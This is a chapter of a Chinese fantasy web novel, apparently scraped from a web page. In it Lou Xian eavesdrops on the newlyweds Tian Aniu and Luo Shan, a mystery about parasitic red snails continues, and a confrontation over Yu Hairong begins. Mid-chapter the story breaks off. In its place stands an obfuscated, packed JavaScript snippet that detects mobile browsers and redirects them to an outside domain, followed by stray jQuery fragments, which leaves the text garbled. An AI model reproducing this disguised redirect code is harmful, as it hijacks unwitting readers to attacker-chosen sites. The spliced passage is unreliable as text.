55. 红螺

作品:《魂引

    从老马家回来,天已经大亮了。


    娄弦想起马琮那副样子,问唐渡:“被红螺寄生,还能活么?”


    “即便能活,或痴或傻,也回不到从前了。”唐渡道。


    二人回到云婆婆小院,大家都提着心等着。


    唐渡将事情简单说了一遍,云婆婆捂着心口惊骇。


    虽没有见着,可听着描述着实骇人。


    “这村子里可从没见过红色的螺啊,不会是妖物吧?”云婆婆捂着胸口说。


    唐渡摇摇头,表明还不知是什么情况。


    唐渡娄弦被老马叫走后,大家也没了睡觉的心思,干巴巴等着,现在人一回来,肚子都有些饿了。


    云婆婆和白小釉进了厨房,拂琵凑到娄弦身边,压低了声问:“你跟唐道长和好了?”


    既然能一起单独出门了,想必是将话说开了。


    娄弦从桌上拿起一个苹果垫垫,嚼着说:“和好了。”


    转念一想,应该……和好了吧?


    臭道士向自己道歉了,她也服了软,言语间也和往常没有区别。


    就是和好了。


    娄弦笃定。


    “那太好了!”拂琵是真心替他们俩高兴。


    先前她还愁呢,两个人争锋相对,各自说了伤人的话,还以为会僵一阵子呢,没想到这次来湘城,两人就和好了。


    见拂琵一脸乐呵的样子,娄弦反而没了表情。


    她抬着下巴,朝拂琵身后示意道:“你先别操心我的事,多操心操心自己。”


    “要我说这个银卿还是得防着点,你别一副老好人的模样,他就是看你好说话才扒着你不放。”娄弦咬下一块苹果,盯着银卿瞧。


    察觉到那方有目光不太友好,在鸡圈喂鸡的银卿侧过身,一双淡眸平静望着娄弦,俨然一副人畜无害的模样。


    娄弦却不吃这一套,即便他长的有多好看,娄弦都觉着有些不舒服。


    “银卿他……挺好的……”拂琵下意识帮腔。


    她朝银卿挥了挥手,示意他继续做手中的事。


    银卿的脸上这才露了笑,乖觉将身子转了过去。


    娄弦啧啧两声。


    这比云婆婆院里养的鸡都听话。


    她叹了口气,看向拂琵的眼睛担了忧色:“拂琵,你完蛋了。”


    “啊?”拂琵张了嘴,不明白娄弦话中的意思。


    娄弦也不多说,转身进厨房帮忙了。


    吃过饭,几人还在聊红螺的事,娄弦一人出了小院,说是去外面消消食,转身进了小道,往田阿牛家方向去了。


    前日来喝喜酒,没瞧见新娘的模样,也没打听出什么有用的消息,只知晓田阿牛的新妇名罗衫,不是无垠村的人。


    娄弦抬脚攀上土墙,落脚跳进院子。


    田阿牛家的院子被收拾的很干净,井然有序,有一方小地用来种菜,还圈养了几只土鸡,


    窗口处的木什雕文是田阿牛自己做的,手艺精细,栩栩如生,粘着还未摘下的喜字。


    娄弦逛了一圈,没有感应到魂珠的气息。


    没有人?


    她正准备翻墙出去,听见外头传来男人说话的声音。


    “今天雕文赚了不少钱,我们能吃顿好的了。”


    “阿牛做什么都好吃。”


    娄弦委身躲在石井后边,看见田阿牛和罗衫推门而入,手上还拿着一提猪肉。


    娄弦身形一化,变为一缕紫气萦在厨房外。


    罗衫长得确实貌美,白净瘦长,一双眼睛勾人心魂,即使身上穿的是粗布麻衣,仍旧挡不住她的风情。


    这么一看,罗衫身旁的田阿牛逊色了不是一星半点。


    她取过田阿牛手中的猪肉,过了水,开始准备午膳。


    娄弦感慨,即便是美人,也得开火做饭,这双纤长的手入了水,总觉得有些可惜。


    田阿牛在一旁坐下,看着罗衫忙碌,脸上流露出幸福之色:“村里人都说我运气好,娶了你这样的新妇,他们说的一点都不错。”


    新妇不仅貌美,还体贴勤快,即便是做梦都得笑醒,偏偏正好是落到他田阿牛头上。


    田阿牛越想越美,起身朝罗衫走去,从身后将人拥住。


    因常年做木工,他的手指有些粗糙,起了不少茧,他又比罗衫矮些,这样的画面实在算不上赏心悦目。


    田阿牛眼里泛起情意,拥着罗衫黏腻道:“如今我们已是夫妻,衫衫,给我生两个大胖小子吧。”


    言罢,田阿牛的手开始不老实起来。


    罗衫侧过头,露出纤长的白颈,肌肤上一粒红痣格外撩人。


    得亏他们没有发现娄弦,否则双方都有些尴尬。


    罗衫将田阿牛轻轻推开,脸上挂了娇羞:“做饭呢。”


    田阿牛不依不饶,像是今日就要将孩子生了。


    他将脸凑了上去,罗衫半推半就,娇笑前迎。


    娄弦一个激灵。


    这是要拿厨房当战场,她可没有这样的癖好,更何况她实在见不得美人被这样糟蹋。


    正要离开,忽听见罗衫喘息间问:“今早我听见村里人说,老马家出事了?”


    原要离开的紫气转弯一飘,又凑了上去。


    田阿牛正在兴头上,谁家出事都没他现在的事重要。


    他含糊不清的说:“说是在院里看见了红色的田螺。”


    “田螺哪有红色的,保不定是看错了。”


    里面传来衣服落地的声音。


    一声轻哼下,罗衫的声音有些发飘:“最后那些红螺怎么处理了?”


    田阿牛断断续续的声音传来:“隔壁云阿婆家,有个姓唐的道士,老马喊去帮忙,都给收了。”


    “都收了?”罗衫的声音有一瞬间清醒过来。


    田阿牛似乎不想再继续这个话题:“一会儿我去看看,先管这头。”


    娄弦怕错过什么消息,又偷听了一会儿,直到确保都是些没有营养的东西后,这才离开田阿牛家。


    经过这一遭,娄弦觉得云婆婆那话说的不对。


    ——只要人本分,其余的没那么重要。


    错!模样也是很重要的!


    一想到刚才的画面,娄弦只觉起了一身鸡皮疙瘩。


    ……


    这头娄弦还没回来,那头唐渡还在想红螺的事。


    村子里从来没见过红螺,更没发生过被红螺寄生的事,唐渡有些无从下手。


    拂琵看他一副心不在焉的模样,劝道:“唐道长,别想这么多,事有起因,只不过这些因还没聚在一起。”


    话是这么说没错,可唐渡担心的是再有人受害。


    他想早些找到缘由。


    唐渡想了想,准备再去看看马琮的情况。


    他前脚刚走,娄弦就从外头回来了。


    村子透风,谁家有点什么事都瞒不住,老马家出红螺的事不一会儿功夫就传开了,只是没人知道马琮被寄生的事。


    娄弦在路上听了一两耳朵。


    马琮在村子里的风评不太好,好吃懒做还专挑良妇欺负,老马夫妇又管不住自家儿子,这回遭殃多半是马琮惹了山田精怪,缠上了。


    娄弦朝四面一忘,没瞧见唐渡的身影,遂问:“唐渡人呢?”


    白小釉答:“唐道长去马叔家了。”


    也罢,红螺的事娄弦不是很感兴趣,就让唐渡去查吧,她得抓紧时间从罗衫身上拿回魂珠。


    正想着,娄弦对拂琵道:“闇狴城我就不回去了,我在这里要处理些事。”


    拂琵心道,说好是在湘城


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15951882|172407||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    住几日,怎么直接就不回去了,她还没同虞海绒和苍城主道别呢,有些东西还留在云天榭。


    她想了想:“那我今日回去一趟,同虞姑娘道个别,顺便将我们的东西带回来。”


    见拂琵要回去,银卿第一个站了出来:“我陪你去。”


    娄弦哼道:“生门殿你压根就进不去,你怎么陪她去?”


    末了,银卿不说话了。


    不错,他确实没有资格进生门殿,最多陪拂琵到闇狴城。


    拂琵察觉到银卿有些抱歉,宽慰道:“不碍事,如今的闇狴城不比往常,安全的很,我拿了东西就回。”


    虽然如此,银卿还是有些不放心。


    拂琵性子软和,容易轻信他人,自己就是一个活生生的例子。


    娄弦瞥了他一眼,像是看穿银卿心中所想。


    虽说闇狴城干净了不少,可难免会有居心叵测之人,娄弦不想遇见第二个银卿。


    遂道:“我跟你一起去。”


    拂琵正想拒绝,可转念一想,娄弦上回算是不辞而别,这回理应同她一起去。


    拂琵笑了笑,亲昵挽住娄弦的胳膊说:“好。”


    在生门殿,拂琵和娄弦算不得生面孔,又与虞海绒吃住在一处,守卫自然拿她们当尊贵人。


    她们朝云天榭走去,生门殿虽然和先前没有多大的区别,可娄弦还是察觉到了氛围有些异样,特别是云天榭的婢女,每个人似乎都提心吊胆的。


    云天榭的婢女向来是最谨小慎微的,这里住着城主心尖上的人,一有差池是要丢性命的。


    原先只是谨慎小心,这回可以说是气氛紧绷了。


    连拂琵都察觉到了异样:“怎么感觉这里的人,都很紧张?”


    “出事了。”路过虞海绒的卧房,娄弦盯着屋外严守的人。


    那是烛祁的近身侍者,往常他来看虞海绒都是独自一人,从未有这么大的阵仗。


    虞海绒出事了。


    “……阿弦。”拂琵去拉娄弦,她已然走了过去。


    娄弦被拦在了门口。


    “没有城主的示意,任何人不得踏进这房门半步。”


    看样子,出的是大事。


    “烛祁!出来!”娄弦笃定烛祁在里边。


    只要他一出现,云天榭的婢女就得时刻候在外边听传。


    里头没有声音传来。


    娄弦高喊:“我叫你出来!否则我踹门了!”


    见娄弦起了架势,真打算动手,拂琵赶忙将人拦下:“不若等等吧,万一真有什么事……”


    这里的气氛实在太压抑了。


    娄弦却没有耐心。


    烛祁虽然不会伤害虞海绒,可此人嫉妒心极强,对虞海绒偏执颇深,即便不会发生什么,虞海绒同这样的人关在一屋也是折磨。


    她想到了自己的母亲。


    母亲总不想见娄焱,前几日还能忍,时间一久,娄焱便将他和母亲关在一起,即便什么话都不说,只要能见到她,他也愿意。


    那时候她还小,没有护人的本事,只能眼睁睁看着母亲痛苦。


    可现在不一样了,她变得强大,变得叫人畏惧。


    她什么都不怕。


    娄弦的耐心耗尽,目色森凉看着门口的近身侍者。


    一道破门,还想拦住她。


    正起势,原本紧闭的房门忽然开了,烛祁一脸疲惫从里面出来,待看到娄弦,眼下的疲累一扫而空,转而又是初见的阴郁冷薄。


    “你是真不怕死。”


    烛祁说的阴恻恻,娄弦却不拿他当回事,开门见山问:“虞海绒呢,你拿她怎么样了?”


    “我?”烛祁忽而自嘲出声,“我能拿她怎么样,我又怎么舍得拿她怎么样。”


    “你该去问苍邺。”